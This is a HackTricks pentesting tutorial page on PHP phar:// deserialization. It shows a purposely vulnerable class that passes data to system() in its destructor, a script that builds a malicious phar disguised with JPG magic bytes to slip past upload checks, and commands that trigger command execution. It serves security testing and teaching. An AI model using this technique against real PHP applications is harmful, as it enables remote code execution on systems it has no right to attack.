HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
๐Ÿ•ธ
Pentesting Web
phar:// deserialization
Support HackTricks and get benefits!
โ€‹
โ€‹
If you are interested in hacking carer and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Careers | stmcyber.com | penetration testing
stmcyber.com
Phar files (PHP Archive) files contain meta data in serialized format, so, when parsed, this metadata is deserialized and you can try to abuse a deserialization vulnerability inside the PHP code.
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize().
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the phar:// protocol, and inside the code you find a class similar to the following one:
vunl.php
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
โ€‹
filesize("phar://test.phar"); #The attacker can control this path
You can create a phar file that when loaded will abuse this class to execute arbitrary commands with something like:
create_phar.php
<?php
โ€‹
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
โ€‹
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
โ€‹
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
Note how the magic bytes of JPG (\xff\xd8\xff) are added at the beginning of the phar file to bypass possible file uploads restrictions. Compile the test.phar file with:
php --define phar.readonly=0 create_phar.php
And execute the whoami command abusing the vulnerable code with:
php vuln.php

References

What is Phar Deserialization
blog_SonarSource
โ€‹
โ€‹
If you are interested in hacking carer and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Careers | stmcyber.com | penetration testing
stmcyber.com
Support HackTricks and get benefits!
Copy link